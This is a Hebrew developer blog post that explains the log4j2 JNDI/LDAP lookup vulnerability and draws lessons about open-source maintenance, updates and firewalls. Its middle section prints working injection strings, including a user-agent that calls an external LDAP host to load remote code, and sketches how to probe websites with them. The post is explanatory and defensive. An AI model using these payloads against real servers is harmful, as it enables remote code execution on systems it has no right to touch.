המקרה של log4j2 ומה שהוא יכול ללמד אותנו

התקפת log4j2 מזעזעת את הרשת - הסבר טכני מפורט למתכנתים על מה שקרה שם כולל POC.

אז למי שפספס – בסוף השבוע האחרון גילו חולשת אבטחה מאוד מאוד משמעותית בספרית תוכנה בג'אווה שחלקכם אולי מכירים בשם log4j2. מדובר בספרית תוכנה שמשמשת ללוגים. כתבתי על זה לא מעט ב"הארץ" לקהל הלא טכני אבל פה אני אכנס יותר לעניינים הטכניים סביב מה שקרה עם הספריה הזו, איך הפרצה נראית בפועל ואיך אפשר לנצל אותה וגם מה אפשר לעשות ומה אפשר ללמוד גם למי שלא נוגע או מתכוון לגעת בג'אווה.

הסיפור בקצרה

ב-9 לדצמבר התפרסמה חולשת אבטחה משמעותית בספרית הלוגינג log4j2. מדובר בספריה מבוססת קוד פתוח שאחראים עליה מספר מצומצם של מפתחים. העניין הוא שזה קוד תשתיתית שנמצא בכמות עצומה של תוכנות אחרות. מיינקראפט היא הדוגמה הכי פופולרית (שרת וקליינט) אבל גם שירותים אחרים – אפאצ'י סולר, ספארק, ספרינג – ובאמת עוד המון. ואם אתם מפתחי ג'אווה, מספיק שאני אומר ספארק או ספרינג ואתם תבינו את ההשפעה הזו. הוציאו מהר מאוד תיקון גם ב-log4j2 וגם כמובן במי שמסתמך עליו, שזה המוני ספריות ותוכנות. אבל לוקח זמן לעדכן כמובן. למרות שאלפי מתכנתים הוקפצו למטרת העדכון.

ממה החולשה נגרמה?

ראשית אני אשמח להפנות אתכם לפוסט מעולה בבלוג של קלאודפלייר שמסביר לעומק על הפרצה שהוא זה שהנחה אותי בלהבין מה הלך שם. אבל בגדול – ספרית log4j2 מבצעת רישום ללוגים. היא משתמשת בפלגין שנקרא JNDILookup – ראשי התבות הם Java Naming and Directory Interface. שנועד לאתר אובייקטים של ג'אווה שנמצאים בתיקיות שונות. את התיקיות מאתרים באמצעות תוכנות אחרות. אחת מהן היא LDAP (אין קשר ל-LDAP של ספקיות האינטרנט) שראשי התבות שלה הן Lightweight Directory Access Protocol. אני יכול להשתמש ב-log4j2 יחד עם LDAP כדי להעשיר את הלוג במידע נוסף מאובייקט ג'וואי. בדוגמה הזו מתוך הדוקומנטציה של JNDI, אנו יכולים לראות איך זה נראה בפועל:

import javax.naming.Context;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.DirContext;
import javax.naming.directory.Attributes;
import javax.naming.NamingException;

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
    "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");

בדוגמה, יש כאן קישור לקריאה מתוך ldap://localhost:389/o=JNDITutorial. כאשר יכול הכתובת יכולה להיות כל כתובת מהאינטרנט שמחזירה אובייקט ג'וואי. ברור פה שצריכה להיות בקרה רצינית על הכתובת.

מה שקרה ב-log4j2 הוא שהם חיברו את ה-LDAP באופן כזה שאם העברתם מחרוזת טקסט עם קידומת ldap לספריה כלוג, הוא יצר קשר עם הכתובת ששלחתם. למשל:

${jndi:ldap://example.com/whatever}

גרם ליצירת קשר עם עם example.com/whatever והרצה שלו.

כלומר כל מה שהתוקף צריך לעשות זה לגרום ללוג לרשום את המחרוזת הזו ולהעביר אליה. דוגמה טובה היא שרתים שמקבלים יוזר אייג'נט. במקום היוזר אייג'נט הרגיל, נעביר כזה יוזר אייג'נט:

ואז תהיה הרצה של הקוד המרוחק.

על מנת שמתכנתי ג'אווהסקריפט יבינו, מישהו העלה את הבדיחה הזו, שיכולה ללמד אותנו על איך זה נראה ולהמחיש מעט יותר.

איך המתקפה עובדת בפועל?

חוקר האבטחה דין בר כתב בפתיל בטוויטר כמה קל לבצע את המתקפה. הוא שינה את היוזר אייג'נט שלו למשהו שישלח לו פינג בכל פעם שמישהו מרנדר אותו. מה רבה הפתעתו לגלות לא מעט אתרים, כולל גדולים ומפורסמים, ששלחו לו פינג. אפשר לראות ממש את שרשרת הציוצים בה הוא מתעד את הפלא פה:

כמובן שאפשר לעשות דברים קצת יותר אפלים ממשהו שישלח לכם פינג. חוקר האבטחה קווין בומונט הראה דוגמאות מעשיות של תוקפים ששותלים, או מנסים לשתול, פיילואודים שמריצים תוכנה מרוחקת שגורמת לשרת הנפגע לכרות ביטקוין עבורם.

https://twitter.com/GossiTheDog/status/1469322120840708100

בגיטהאב יש לא מעט דוגמאות של קוד. מה שהדוגמאות האלו עושות בגדול זה להרים שרת לוקלי, ליצור קישור כמו למשל

http://127.0.0.1:8888/#Exploit

אפשר להריץ את זה בשרת חיצוני – למשל 6.38.20.20 ואז הקישור יהיה כמובן:

http://6.38.20.20:8888/#Exploit

ואז לגלוש באתרים עם יוזר אייג'נט כזה:

Mozilla/5.0 ${jndi:ldap://6.38.20.20:1389/ badClassName}/ua

ואז לראות כמעט מייד אם ההתקפה פועלת. לא חייבים עם יוזר אייג'נט אלא בכל מקום שבו יש אינפוט שיש לו לוג ונכנס ל-log4j2. אפשר לרוץ עם פיילואוד פחות זדוני כדי לראות מה פתוח ואז להתקיף כשמוצאים משהו פתוח.

השילוב של הפופולריות העצומה של log4j2 יחד עם קלות ההבנה, התפעול ותפוצת הכלים – היא חומר נפץ ממשי וכבר כעת יש תקיפות.

מה אנחנו יכולים ללמוד מזה

ראשית, על הבעיות שיש לעתים בקוד הפתוח – להשתמש בקוד פתוח זה מעולה ואני איש קוד פתוח לגמרי, אבל חשוב להכיר גם את הסכנות. יש לכם קוד פתוח? אתם צריכים גם לדאוג למדיניות עדכונים שוטפת. היום זה בג'אווה, אתמול זה היה ב-Node.js, מחר זה יהיה בפייתון. אף אחד לא חסין. אתם צריכים להבין ולעדכן את מה שיש לכם. אם אתם מנהלים את הקוד שלכם בגיטהאב/גיטהאב אנטרפרייז, יש את dependabot שינהל את זה עבורכם וכמובן פתרונות אבטחה כמו סניק שעליה כתבתי בעבר. אבל לזכור שלא מדובר בכדור כסף. עם הרבה כוח מגיעה גם הרבה אחריות.

שנית, על כך שיש מתכנתים בודדים שמחזיקים תשתיות שעליהן לא מעט מהרשת יושבת. על log4j2 היו אחראים מתכנתים בודדים, שעשו זאת מרצונם הטוב וכפרויקט צד. תרמו להם רק שלושה תורמים. זה הכל. עכשיו יש נזקים בעשרות מיליונים. אם רק פרומיל היה מופנה לפרויקט הזה, הכל היה נחסך. יש את הקריקטורה של xkcd שממחישה זאת היטב:

This work is licensed under a Creative Commons Attribution-NonCommercial 2.5 License.
https://xkcd.com/2347/
מקור: https://xkcd.com/2347 – רשיון שימוש Creative Commons Attribution-NonCommercial 2.5 License.

ואולי זה הזמן לומר תודה לגיבורים האלו, שבאמת טורחים שנים ללא הרף ולא זוכים לשבחים מרובים וכשיש כזה אירוע הם חוטפים. הנה אחד מהמתכנתים של log4js2:

מעבר לקריאה הכללית לתרום לפרויקטי קוד פתוח שאתם משתמשים בהם (יש בגיטהאב מקום ספציפי לשלוח תרומות לפרויקטים שצריכים מימון) – אפשר גם לשלוח תודה רבה למי שמתחזק פרויקט שאהבתם 🙂

שלישית, ואולי גם זה חשוב – אני מקפיד כאן לכתוב על אבטחת קוד וקוד נכון, אבל צריך לזכור שגם עם בדיקות קוד מחמירות וגם עם שימוש בחברות כמו סניק או whitesource, יש עוד אמצעי אבטחה שאפשר לנקוט בהם כמו פיירוול. במקרה הזה קלאודפלייר למשל הכניסה במהירות כלים למיטיגציה של הנושא ושל ההתקפות לפיירוול שלה. אם האתרים/מערכות שלכם מוקפות בפיירוול מעודכן, אתם מעט יותר מוגנים. ואם אתם מתנחמים בזה ש"האתר שלי לא בג'אווה" – צריך לזכור שזה קורה כל הזמן. מחר זה יכול לקרות גם בטכנולוגיה שלכם ויכול לתפוס אתכם, כשצריך לעשות שדרוג דחוף, בדיוק בנסיעה לחו"ל, ירח דבש או כל חגיגה אחרת.

רביעית, וזו נקודה למחשבה באדיבות אורי פולגר שכתב תובנה יפה בדיון בטוויטר – אולי הבעיה היא בארכיטקטורה ובתפיסת העולם של ג'אווה שבמסגרתה כל מה שמגיע משרת של ג'אווה הוא בטוח. פיצ'ר כמו JNDI הוא באמת eval על כל המשתמע מכך – ולהעביר מחרוזת טקסט שמביאה משהו מבחוץ זה משהו שהוא בלתי מתקבל על הדעת בעידן המודרני.

https://twitter.com/FolgerOri/status/1469747182718889986

אני בטוח שיהיה עיסוק מוגבר מאוד בתקופה הקרובה בעניין הזה ואני מקווה שהפוסט הקצר עשה לכם סדר.

פוסטים נוספים שכדאי לקרוא

פתרונות ומאמרים על פיתוח אינטרנט

יישום של nonce על מנת להגן מפני התקפות injection

בפוסט הקודם הסברתי על hash עם CSP על משאבי inline – שזה נחמד ומעולה אבל פחות ישים בעולם האמיתי שבו בדרך כלל התוכן ה-inline (בין

צילום מסך של סוואגר
יסודות בתכנות

openAPI

שימוש בתשתית הפופולרית למיפוי ותיעוד של API וגם הסבר בסיסי על מה זה API

גלילה לראש העמוד